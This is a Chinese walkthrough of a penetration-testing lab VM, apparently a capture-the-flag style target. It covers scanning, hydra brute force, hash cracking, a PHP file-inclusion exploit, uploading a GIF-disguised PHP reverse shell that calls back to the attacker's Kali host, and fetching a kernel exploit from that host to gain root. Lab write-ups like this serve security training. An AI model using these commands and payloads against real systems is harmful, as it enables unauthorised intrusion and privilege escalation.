环境部署
下载地址,文件大小:576M
由于该网站引用的jquery需要翻墙,所以看不到下载链接,可以在浏览器f12开发者模式中调试后看到,下载过程不需要翻墙。
下载之后使用Vmware
或者VirtualBox
打开即可。
靶机是Ubuntu系统,攻击机使用Kali,两者均为虚拟机且在同一网段下,本机Kali的IP为10.0.2.4。
信息搜集
IP地址
由于靶机网络开启了DHCP,故第一步需要先探测其IP。一般可使用以下任一方法:
- netdiscover -r 10.0.2.0/24
- arp-scan -l
- nmap -sP 10.0.2.0/24
可以得到靶机IP为10.0.2.5
。
端口扫描
端口扫描一般使用Nmap
:nmap -sS -sV -O -T4 -A 10.0.2.5
,主要结果如下:
|
|
可以看到开放了21、22、80、8011共4个端口,并且可以看到操作系统为linux,内核版本为2.6。
系统测试
系统扫描
在手工测试之前,一般可先使用扫描器进行扫描以减少工作量,快速发现问题。
常用的扫描器如:Appscan
,AWVS
,Nessus
,nikto
,wafw00f
,wapiti
等等,不同的扫描器有不同的作用,具体使用哪些可视情况而定。
服务利用
- 服务漏洞探测
21为FTP服务,版本为vsftpd 2.3.5
;22为SSH服务,版本为OpenSSH 5.9p1 Debian 5ubuntu1.10
,分别使用searchsploit
搜索对应漏洞:
|
|
ssh可使用searchsploit openssh
搜索,同样没有发现相应版本的漏洞。
- 弱密码
一般来说SSH和FTP均使用系统用户名和密码,且默认不开启ROOT权限,所以在没有用户名的情况下,仅能爆破ROOT的弱密码,成功率一般不高。
暴力破解FTP:hydra -l root -P pass.txt -t 8 -e ns 10.0.2.5 ftp -vV
可以得到提示[INFO] user root does not exist, skipping
。
- 匿名登录
|
|
发现可以登录成功,但进过探索之后没有发现有价值的信息。
再尝试暴力破解SSH:hydra -l root -P pass.txt -t 8 -e ns 10.0.2.5 ssh -vV
但依然没有成功。
应用测试
指纹识别
指纹识别主要是通过一些工具或手工检查Web服务组件类型及版本信息,为后续渗透测试提供方向。
常用工具如:WhatWeb,Wapplyzer,Whatruns,Plecost,BlindElephant等等,不同的工具检测结果可能略有不同,可将多个工具的检测结果结合进行分析。
更多指纹识别相关技术可参考:Web指纹识别技术研究与优化实现 。
WhatWeb
测试结果如下:
|
|
Wapplyzer
测试结果如下:
80端口
|
|
8011端口
|
|
可以看出两者均使用了Apache2.2.22,但尝试搜索Apache此版本的漏洞,没有发现可利用exp。
目录扫描
目录扫描主要通过暴力扫描路径,以发现一些隐藏文件、网站后台、备份文件等。常用的工具如:
DirBuster
、御剑
、dirb
、Dirsearch
等。如果有更高的要求,可尝试Dirmap:一款高级Web目录文件扫描工具 。
此处使用dirb对80和8011两个端口的服务进行扫描,可以发现80端口存在/development
和robots.txt
:
|
|
另外使用御剑
或nikto
可以发现80端口存在index.html.bak
:
|
|
8011端口扫描结果如下:
|
|
发现有一个/api
目录。
前端源代码
分别使用浏览器访问两个网站,查看前端html
、css
、js
等代码,没有发现明显问题。然后查看80端口扫描到的备份文件index.html.bak
:
|
|
可以看到存在一个hash,使用john the rapper破解:
|
|
可以得到账号密码frank/frank!!!
。
漏洞分析及利用
- 8011端口服务
访问http://10.0.2.5:8011/api
,发现有提示:
|
|
依次访问发现只有files_api.php
能访问:
|
|
提示需要file
,然后尝试:
|
|
修改参数名为files
, filename
,file_name
等依然不成功。尝试使用POST:
|
|
可以成功利用。再使用PHP伪协议读源码:
curl -X POST -d "file=php://filter/read=convert.base64-encode/resource=files_api.php" http://10.0.2.5:8011/api/files_api.php
,并将得到的base64解码得到:
|
|
再尝试读取/etc/shadow
失败。
- 80端口服务
根据扫描结果,访问80端口的robots.txt
,没有发现有价值的信息;访问development
目录,发现需要账号密码,将破解的hash密码输入后得到提示:
|
|
访问http://10.0.2.5/development/uploader/
发现一个上传页面:
|
|
上传漏洞可参考:业务逻辑漏洞探索之上传漏洞,文件上传(绕过姿势),经测试可以发现后端检测了文件头和后缀名,故需要生成文件如test.gif
:
|
|
然后上传,但是上传后没有返回路径,此处需要进行猜解,得到最终目录为FRANKuploads
。
但此处只是上传上去了,并没有解析,故需要结合80端口的文件包含漏洞,而php的include并不支持http协议,所以尝试使用curl -X POST -d "file=http://10.0.2.5/development/uploader/FRANKuploads/test.gif?cmd=pwd" http://10.0.2.5:8011/api/files_api.php
是不成功的,此处需要继续猜解绝对路径,一般PHP文件都部署在/var/www
或 /var/www/html
目录下,经尝试可以得知此处为/var/www
,然后进行文件包含:
|
|
成功得到用户名www-data
。得到绝对路径后,可使用之前的文件包含漏洞读取upload.php
的源码。
然后尝试反弹shell,重新生成文件test2.gif
,此处使用kali自带的php-reverse-shell.php(/usr/share/webshells/php目录)进行修改:
|
|
将第一行添加GIF98,ip修改为攻击机Kali的ip,上传后重新打开一个终端,执行nc -l -p 1234
监听1234端口,在原来的终端执行curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/test2.gif" http://10.0.2.5:8011/api/files_api.php
进行文件包含:
|
|
Webshell可使用msf生成,kali的/usr/share/webshells/目录也自带部分shell,如需更多webshell可参考:github-webshell。
反弹shell不仅可以使用php脚本,也可以使用php执行系统指令,从而使用其他语言进行反弹,如bash、perl、python、ruby等,可参考LINUX下反弹SHELL的种种方式。
监听端口除了nc外还经常使用msf,方法如下:
1234567 use exploit/multi/handlerset payload linux/armle/shell/reverse_tcpset lport xxxxset lhost xxx.xxx.xxx.xxxset exitonsession falseexploit -j
可以看到新终端成功getshell。
权限提升
执行uname -a
可以看到linux内核版本为Linux ubuntu 2.6.35-19-generic
,与之前nmap扫描结果一致:
|
|
使用searchsploit
查找linux漏洞(也可以使用Google、https://www.exploit-db.com/):
|
|
发现2.6.35版本仅一个漏洞,经测试发现无法使用,将版本改为2.6.36发现有多个漏洞,经测试15285.c
可用。首先在Kali本机使用Python启动简单Http服务:cd /usr/share/exploitdb/exploits/linux/local && python -m SimpleHTTPServer 80
,然后在目标机依次执行:
|
|
除此之外,也可以15023.c、脏牛等进行提权。
至此,成功完成权限提升,执行id
可以看到当前权限为root权限:
|
|